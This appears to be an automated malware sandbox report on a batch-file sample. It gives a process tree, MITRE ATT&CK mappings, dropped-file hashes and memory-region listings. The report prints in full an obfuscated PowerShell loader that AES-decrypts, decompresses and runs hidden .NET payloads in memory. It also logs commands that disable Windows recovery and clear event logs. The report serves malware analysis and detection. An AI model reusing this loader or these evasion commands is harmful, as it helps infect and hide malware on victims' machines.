PID 1364 wrote to memory of 3280	1364	dllhost.exe	55
PID 1364 wrote to memory of 3564	1364	dllhost.exe	56
PID 1364 wrote to memory of 3652	1364	dllhost.exe	57
PID 1364 wrote to memory of 3768	1364	dllhost.exe	58
PID 1364 wrote to memory of 780	1364	dllhost.exe	60
PID 1364 wrote to memory of 4120	1364	dllhost.exe	62

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1076
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d5b9cfd4-9e48-4179-a51b-288ac74b712a}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1364
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{1920acd9-7efd-4a75-ba67-774de67381d9}
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3720

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1272
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1444

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1460

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1536
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1844

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2144

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2220

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2364

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2800

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2868

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3564

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\hand.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4420
- - C:\Windows\system32\cmd.exe
    cmd.exe /c echo function iuYgv($leKgl){ $jPJwb=[System.Security.Cryptography.Aes]::Create(); $jPJwb.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jPJwb.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jPJwb.Key=[System.Convert]::FromBase64String('uEpqIWQRyvODISCHGUQfxzSWFesSqTmCOTn7Muaq1uk='); $jPJwb.IV=[System.Convert]::FromBase64String('II7XtEw/4tOoxMX0yT4prg=='); $kNTLM=$jPJwb.CreateDecryptor(); $whegU=$kNTLM.TransformFinalBlock($leKgl, 0, $leKgl.Length); $kNTLM.Dispose(); $jPJwb.Dispose(); $whegU;}function zpxNq($leKgl){ Invoke-Expression '$kWPKo=New-Object *S*y*s*t*e*m*.*I*O*.M*em*or*yS*tr*ea*m(,$leKgl);'.Replace('*', ''); Invoke-Expression '$UAPJw=New-Object *S*y*s*t*e*m*.*I*O*.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); Invoke-Expression '$SDRXH=New-Object S*y*s*t*e*m*.*I*O*.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($kWPKo, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $SDRXH.CopyTo($UAPJw); $SDRXH.Dispose(); $kWPKo.Dispose(); $UAPJw.Dispose(); $UAPJw.ToArray();}function efQtH($leKgl,$kxxMo){ Invoke-Expression '$ECSjU=[*S*y*s*t*e*m*.*R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$leKgl);'.Replace('*', ''); Invoke-Expression '$iUybu=$ECSjU.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); Invoke-Expression '$iUybu.*I*n*v*o*k*e*($null, $kxxMo);'.Replace('*', '');}$bdjtW = 'C:\Users\Admin\AppData\Local\Temp\hand.bat';$host.UI.RawUI.WindowTitle = $bdjtW;$sWPvP=[System.IO.File]::ReadAllText($bdjtW).Split([Environment]::NewLine);foreach ($fLYEN in $sWPvP) { if ($fLYEN.StartsWith('ECVXS')) { $GELOT=$fLYEN.Substring(5); break; }}$XQqqI=[string[]]$GELOT.Split('\');Invoke-Expression '$gOc = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[0].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$saB = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[1].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$UaX = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[2].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');efQtH $gOc $null;efQtH $saB $null;efQtH $UaX (,[string[]] (''));
    3⤵
    PID:1968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\hand.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
      4⤵
      Drops file in Windows directory
      PID:3208
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
      4⤵
      PID:1508
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1252
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c echo function iuYgv($leKgl){ $jPJwb=[System.Security.Cryptography.Aes]::Create(); $jPJwb.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jPJwb.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jPJwb.Key=[System.Convert]::FromBase64String('uEpqIWQRyvODISCHGUQfxzSWFesSqTmCOTn7Muaq1uk='); $jPJwb.IV=[System.Convert]::FromBase64String('II7XtEw/4tOoxMX0yT4prg=='); $kNTLM=$jPJwb.CreateDecryptor(); $whegU=$kNTLM.TransformFinalBlock($leKgl, 0, $leKgl.Length); $kNTLM.Dispose(); $jPJwb.Dispose(); $whegU;}function zpxNq($leKgl){ Invoke-Expression '$kWPKo=New-Object *S*y*s*t*e*m*.*I*O*.M*em*or*yS*tr*ea*m(,$leKgl);'.Replace('*', ''); Invoke-Expression '$UAPJw=New-Object *S*y*s*t*e*m*.*I*O*.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); Invoke-Expression '$SDRXH=New-Object S*y*s*t*e*m*.*I*O*.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($kWPKo, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $SDRXH.CopyTo($UAPJw); $SDRXH.Dispose(); $kWPKo.Dispose(); $UAPJw.Dispose(); $UAPJw.ToArray();}function efQtH($leKgl,$kxxMo){ Invoke-Expression '$ECSjU=[*S*y*s*t*e*m*.*R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$leKgl);'.Replace('*', ''); Invoke-Expression '$iUybu=$ECSjU.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); Invoke-Expression '$iUybu.*I*n*v*o*k*e*($null, $kxxMo);'.Replace('*', '');}$bdjtW = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $bdjtW;$sWPvP=[System.IO.File]::ReadAllText($bdjtW).Split([Environment]::NewLine);foreach ($fLYEN in $sWPvP) { if ($fLYEN.StartsWith('ECVXS')) { $GELOT=$fLYEN.Substring(5); break; }}$XQqqI=[string[]]$GELOT.Split('\');Invoke-Expression '$gOc = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[0].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$saB = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[1].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$UaX = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[2].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');efQtH $gOc $null;efQtH $saB $null;efQtH $UaX (,[string[]] (''));
        5⤵
        
        PID:1420
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:3168
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
        6⤵
        
        PID:2156
      - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd" /K CHCP 437
        6⤵
        
        PID:960
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2380
        
        C:\Windows\system32\chcp.com
        
        CHCP 437
        7⤵
        
        PID:1556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell REAgentC.exe /disable
        7⤵
        
        PID:652
        
        C:\Windows\system32\ReAgentc.exe
        
        "C:\Windows\system32\ReAgentc.exe" /disable
        8⤵
        Drops file in System32 directory
        Drops file in Windows directory
        
        PID:380
- C:\Windows\$nya-onimai2\oauLVi.exe
  "C:\Windows\$nya-onimai2\oauLVi.exe"
  2⤵
  - Executes dropped EXE
  PID:1780
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3768

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:780

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4120

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4356

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:560

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1660

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:5080

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4324

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:4180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1512

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4552

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 4f8877d37f7047dfe77f21b978646b31 okMwdK+ar0yplkfBH38DEA.0.1.0.0.0
1⤵
- Sets service image path in registry
PID:2288
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:2140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1216

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks processor information in registry
- Enumerates system info in registry
PID:3812

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2024

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:2628

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:2160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Filesize
290B

MD5
bdec669a651b2255e6a3e7a502adf87b

SHA1
69d02d15e91fd182cfa25b8f092bbacaf0aff51b

SHA256
9bfda5443a616dfb72a593bfae4db9ce86dcdd6c2be45312baa703dd3d66f826

SHA512
8621d0255d41267d6d7f2aa5c63fc1cd283f7fb156a6603e32e2052829625b8e6b80b7905e2540551ac6b01e83b1fa37389119048dce9221fa21e561f260581d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9

Filesize
420B

MD5
6906b7f45d3678f75e56272114ec8cb9

SHA1
ef50530280eadd55618f1fd789cca80b1d6c7125

SHA256
c748967763a4192d790f99d1f1c7c6dc2af1d47f8a6f72ced961a25d852b1222

SHA512
6e9bcacc2736e9d4788dbbd7354522a8a0a1e7a0783d8eb279ce7a2abd63d262ffff4e8af4f988ca5fd7f25e317e58c0ca75319a131cdcf304be99841511ce38

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
01ec6c015ace9f2ac560371d37d38b41

SHA1
a528a34406238a0e71baea5e79bd8fda497cf05e

SHA256
11f26190de4b040b04b6685d2a2db4c7b55c73c5580ac6a01ce1688380e7093d

SHA512
1c387fb4241e009f8423bb69eb03e97c987f80b0ef6ff9b7e32925421fdec4f72eea13eaa925657e139824a02ea45d908c38f01ef94cda7688530eae33895b94

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
0245ee64bc0ee73ecf5d430fe18905f6

SHA1
5644835df13cd159521b0a0cfd12dbdf5c9732a4

SHA256
06f3ff1e4ef9fcfc2cdc5ffe2357fe5562bbae29bc552b20efbf20bf0a0079f8

SHA512
50760f9334cc06d3792e3c947277d10895c94d3b84f200222d54abc516fda97127a8e35d5266609f6d57af8d765950b31f8438aa21a22144c171d27c5fe9cf29

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ttaneeq2.oqq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$nya-onimai2\oauLVi.exe

Filesize
36KB

MD5
b943a57bdf1bbd9c33ab0d33ff885983

SHA1
1cee65eea1ab27eae9108c081e18a50678bd5cdc

SHA256
878df6f755578e2e79d0e6fd350f5b4430e0e42bb4bc8757afb97999bc405ba4

SHA512
cb7253de88bd351f8bcb5dc0b5760d3d2875d39f601396a4250e06ead9e7edeffcd94fa23f392833f450c983a246952f2bad3a40f84aff2adc0f7d0eb408d03c

Download Submit
C:\Windows\$rbx-onimai2\$rbx-CO2.bat

Filesize
7.0MB

MD5
1a013c7ac90b58073895b26cae70def7

SHA1
60c9c3294fc7ac3d336a478274f62f4818498230

SHA256
698b1f0a35a76e57adef388612b29902f86f56983c772d7c6c17b4483c2be688

SHA512
c1bbb52e8546b352e041e944d7dfa158d5dc9a51b1628128d345e4a9e708871d7a1f5e59cc44a2c66f8dc9af81ec06e1b5105d5a7292497075564496f3b0ec75

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
4ac1741ceb19f5a983079b2c5f344f5d

SHA1
f1ebd93fbade2e035cd59e970787b8042cdd0f3b

SHA256
7df73f71214cdd2f2d477d6c2c65f6e4c2f5955fc669cde9c583b0ff9553ecdc

SHA512
583706069a7c0b22926fa22fc7bedcca9d6750d1542a1125b688fbb0595baf6cefc76e7b6e49c1415c782a21d0dd504c78fa36efad5f29f2fd5d69cc45ad8dcd

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
a9124c4c97cba8a07a8204fac1696c8e

SHA1
1f27d80280e03762c7b16781608786f5a98ff434

SHA256
8ad3d28aeff847bc5fb8035cbc7c71e88a4ee547821a8e1a3ea6661ee6014b21

SHA512
537caaa75ac1e257c6b247f9680c3b9e79156ea1bcb3f1326e969a774db33b3c906800813ca6f79369c799a62f4260c91c6dd9a6cace3af25b7dbea5a73e0392

Download Submit
memory/612-45-0x0000026E2F360000-0x0000026E2F38A000-memory.dmp

Filesize
168KB

Download
memory/612-72-0x0000026E2F330000-0x0000026E2F354000-memory.dmp

Filesize
144KB

Download
memory/612-1209-0x0000026E2F330000-0x0000026E2F354000-memory.dmp

Filesize
144KB

Download
memory/612-32-0x0000026E2F330000-0x0000026E2F354000-memory.dmp

Filesize
144KB

Download
memory/612-33-0x0000026E2F360000-0x0000026E2F38A000-memory.dmp

Filesize
168KB

Download
memory/612-34-0x0000026E2F360000-0x0000026E2F38A000-memory.dmp

Filesize
168KB

Download
memory/612-42-0x0000026E2F360000-0x0000026E2F38A000-memory.dmp

Filesize
168KB

Download
memory/612-43-0x0000026E2F360000-0x0000026E2F38A000-memory.dmp

Filesize
168KB

Download
memory/612-44-0x0000026E2F360000-0x0000026E2F38A000-memory.dmp

Filesize
168KB

Download
memory/612-48-0x0000026E2F360000-0x0000026E2F38A000-memory.dmp

Filesize
168KB

Download
memory/612-46-0x0000026E2F360000-0x0000026E2F38A000-memory.dmp

Filesize
168KB

Download
memory/612-73-0x00007FFA6C9CD000-0x00007FFA6C9CE000-memory.dmp

Filesize
4KB

Download
memory/612-74-0x00007FFA6C9CF000-0x00007FFA6C9D0000-memory.dmp

Filesize
4KB

Download
memory/612-47-0x00007FFA2C9B0000-0x00007FFA2C9C0000-memory.dmp

Filesize
64KB

Download
memory/680-52-0x0000028BA1280000-0x0000028BA12AA000-memory.dmp

Filesize
168KB

Download
memory/680-65-0x00007FFA2C9B0000-0x00007FFA2C9C0000-memory.dmp

Filesize
64KB

Download
memory/680-60-0x0000028BA1280000-0x0000028BA12AA000-memory.dmp

Filesize
168KB

Download
memory/680-61-0x0000028BA1280000-0x0000028BA12AA000-memory.dmp

Filesize
168KB

Download
memory/680-63-0x0000028BA1280000-0x0000028BA12AA000-memory.dmp

Filesize
168KB

Download
memory/680-75-0x0000028BA1250000-0x0000028BA1274000-memory.dmp

Filesize
144KB

Download
memory/680-64-0x0000028BA1280000-0x0000028BA12AA000-memory.dmp

Filesize
168KB

Download
memory/680-1210-0x0000028BA1250000-0x0000028BA1274000-memory.dmp

Filesize
144KB

Download
memory/680-66-0x0000028BA1280000-0x0000028BA12AA000-memory.dmp

Filesize
168KB

Download
memory/680-62-0x0000028BA1280000-0x0000028BA12AA000-memory.dmp

Filesize
168KB

Download
memory/976-87-0x0000027FA5700000-0x0000027FA572A000-memory.dmp

Filesize
168KB

Download
memory/976-86-0x0000027FA5700000-0x0000027FA572A000-memory.dmp

Filesize
168KB

Download
memory/976-76-0x0000027FA5700000-0x0000027FA572A000-memory.dmp

Filesize
168KB

Download
memory/976-84-0x0000027FA5700000-0x0000027FA572A000-memory.dmp

Filesize
168KB

Download
memory/976-85-0x0000027FA5700000-0x0000027FA572A000-memory.dmp

Filesize
168KB

Download
memory/1364-28-0x00007FFA6AC30000-0x00007FFA6ACED000-memory.dmp

Filesize
756KB

Download
memory/1364-22-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1364-29-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1364-27-0x00007FFA6C930000-0x00007FFA6CB28000-memory.dmp

Filesize
2.0MB

Download
memory/1364-24-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1364-26-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1364-20-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1364-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1780-2504-0x000001D4F5C10000-0x000001D4F5C1E000-memory.dmp

Filesize
56KB

Download
memory/2044-19-0x00007FFA6AC30000-0x00007FFA6ACED000-memory.dmp

Filesize
756KB

Download
memory/2044-15-0x0000013CDF690000-0x0000013CDF706000-memory.dmp

Filesize
472KB

Download
memory/2044-92-0x00007FFA4E180000-0x00007FFA4EC42000-memory.dmp

Filesize
10.8MB

Download
memory/2044-93-0x0000013C802C0000-0x0000013C80632000-memory.dmp

Filesize
3.4MB

Download
memory/2044-94-0x00007FFA4E180000-0x00007FFA4EC42000-memory.dmp

Filesize
10.8MB

Download
memory/2044-18-0x00007FFA6C930000-0x00007FFA6CB28000-memory.dmp

Filesize
2.0MB

Download
memory/2044-69-0x00007FFA4E183000-0x00007FFA4E185000-memory.dmp

Filesize
8KB

Download
memory/2044-17-0x0000013CFF970000-0x0000013CFFDB6000-memory.dmp

Filesize
4.3MB

Download
memory/2044-16-0x0000013CC4C40000-0x0000013CC4C7A000-memory.dmp

Filesize
232KB

Download
memory/2044-12-0x00007FFA4E180000-0x00007FFA4EC42000-memory.dmp

Filesize
10.8MB

Download
memory/2044-1214-0x00007FFA4E180000-0x00007FFA4EC42000-memory.dmp

Filesize
10.8MB

Download
memory/2044-0-0x00007FFA4E183000-0x00007FFA4E185000-memory.dmp

Filesize
8KB

Download
